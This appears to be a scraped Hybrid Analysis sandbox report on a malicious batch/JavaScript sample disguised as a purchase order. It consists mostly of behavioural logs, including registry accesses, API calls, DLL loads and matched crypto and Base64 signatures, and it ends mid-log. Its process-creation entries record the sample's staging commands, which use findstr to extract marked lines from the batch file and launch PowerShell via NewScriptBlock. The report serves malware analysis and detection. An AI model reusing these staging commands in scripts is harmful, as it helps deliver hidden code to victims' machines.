21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 48:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4a6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious JS/Obfuscated.CQ trojan Sample 0bd9a8e1c308… — Score 76/100 — Hybrid Analysis","description":"Malicious verdict for sample 0bd9a8e1c308…. Malware family: JS/Obfuscated.CQ trojan. Threat score 76/100. 2/26 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","keywords":["Malicious","JS/Obfuscated.CQ trojan","malware analysis","sandbox report","threat intelligence","0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f"],"about":{"@type":"SoftwareApplication","name":"New PO230824312.js","applicationCategory":["script","bat"],"identifier":"0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","additionalType":"Malicious sample"},"threatScore":76,"malwareFamily":"JS/Obfuscated.CQ trojan","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":1,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T4d2,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO\1.3.6.1.4.1.311.10.3.37!7") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\STRINGCACHESETTINGS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\STRINGCACHESETTINGS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO\1.3.6.1.4.1.311.10.3.42!7") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO\1.3.6.1.4.1.311.10.3.42!7") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO\1.3.6.1.4.1.311.10.3.42!7")23:T413,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: The input file contains long Base64 encoded strings Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - PowerShell with Base64 encoding24:T1d8c,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005420) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005420) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007724) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007724) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001708) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001708) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac252afb7f0000000000000000000051ed242bfb7f0000000000007b0200000000000000000000e0d57992927000002a00000000000000d08436367b0200008fec242bfb7f0000e0ac252afb7f0000e0ac252afb7f0000000000000000000000000000fb7f0000ffffff7f4937000000000000000000000000000000000000d8ce192afb7f00002a0000000000000069c3d229fb7f00003100000000000000c803000000000000cc030000000000001100011000000000e0d03b18fe00000003a3bf29fb7f0000e0d03b18fe00000000000000000000002b00000000000000000000000000000020b0d829fb7f0000b43fd729fb7f0000e0ce192a (UID: 00000000-00001708) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000161c7b0200000b8e222bfb7f00000000161c7b02000002000000fb7f0000380000000000000040000000000000003003161c7b02000028e1fc18fe00000001e1fc18fe0000000300000000000000010000000000000016000000000000004038e91b7b02000000000000000000000000e91b7b0200000020d217fe000000000000000000000071000000010000000000000000000000800000000000000004000000000000000000000000000000687893367b02000004000000000000003800000000000000f098be29fb7f000038000000000000003800000000000000a0e2fc18fe000000c00ce6f2fa7f000000000000 (UID: 00000000-00001708) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b03612fb7f000007000000000000000000000000000000010000000000000050db161c7b020000000000000000000050bdcc1d7b0200004c98be29fb7f0000c0e1cc1d7b020000b3cedcf2fa7f000030c1cc1d7b020000004f3612fb7f0000d0b03612fb7f00000000000000000000000000000000000030c1cc1d7b02000050db161c7b020000a0ec161c7b020000f8e2fc18fe0000004c98be29fb7f00000100000000000000f8e2fc18fe000000a0ec161c7b02000030c1cc1d7b020000010000000000000002bcdcf2fa7f000090c4cc1d7b020000a08ecb1d7b020000feffffff040000007df03512fb7f000000ec161c (UID: 00000000-00001708) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000050db161c7b020000000000000000000050bdcc1d7b0200004c98be29fb7f0000c0ddcc1d7b020000b3cedcf2fa7f000060c4cc1d7b020000384f3612fb7f0000d0b03612fb7f00000000000000000000000000000000000060c4cc1d7b02000050db161c7b020000a0ec161c7b020000f0e2fc18fe0000004c98be29fb7f00000100000000000000f0e2fc18fe000000a0ec161c7b02000060c4cc1d7b020000010000000000000002bcdcf2fa7f00000000000000000000a08ecb1d7b02000090c4cc1d04000000feffffffffffffff50db161c7b0200007df03512fb7f000000000000 (UID: 00000000-00001708) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004640) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004640)25:T46c,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000020000f030f61b7b0200003031f61b7b0200007031f61b7b020000b031f61b7b020000f031f61b7b0200003032f61b7b0200007032f61b7b020000b032f61b7b020000f032f61b7b0200003033f61b7b0200007033f61b7b020000b033f61b7b020000f033f61b7b0200003034f61b7b0200000a0000000000000000000000 (UID: 00000000-00001708) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000412) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000101a83315d02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008040)26:T57c,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")27:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")28:T8a9,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem HRQFRTZEQZI" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem XQCYS" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem NRIQZEVLM" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem KAAREKNHXD" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem IBTMKMFJF" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005420) "cmd.exe" called "CreateProcessW" with parameter "findstr /c:"&rem HRQFRTZEQZI" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00007724) "cmd.exe" called "CreateProcessW" with parameter "findstr /c:"&rem XQCYS" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00004640) "cmd.exe" called "CreateProcessW" with parameter "findstr /c:"&rem NRIQZEVLM" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00007260) "cmd.exe" called "CreateProcessW" with parameter "findstr /c:"&rem KAAREKNHXD" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005812) "cmd.exe" called "CreateProcessW" with parameter "findstr /c:"&rem LMXEWQDMDBHGLT" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00006304) "cmd.exe" called "CreateProcessW" with parameter "findstr /c:"&rem IBTMKMFJF" "C:\NewPO230824312.js.bat"" - (UID: 00000000-00005152) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock(" - (UID: 00000000-00000412)29:T93d4,"powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00001708) "powershell.exe" called "LoadLibrary" with a parameter 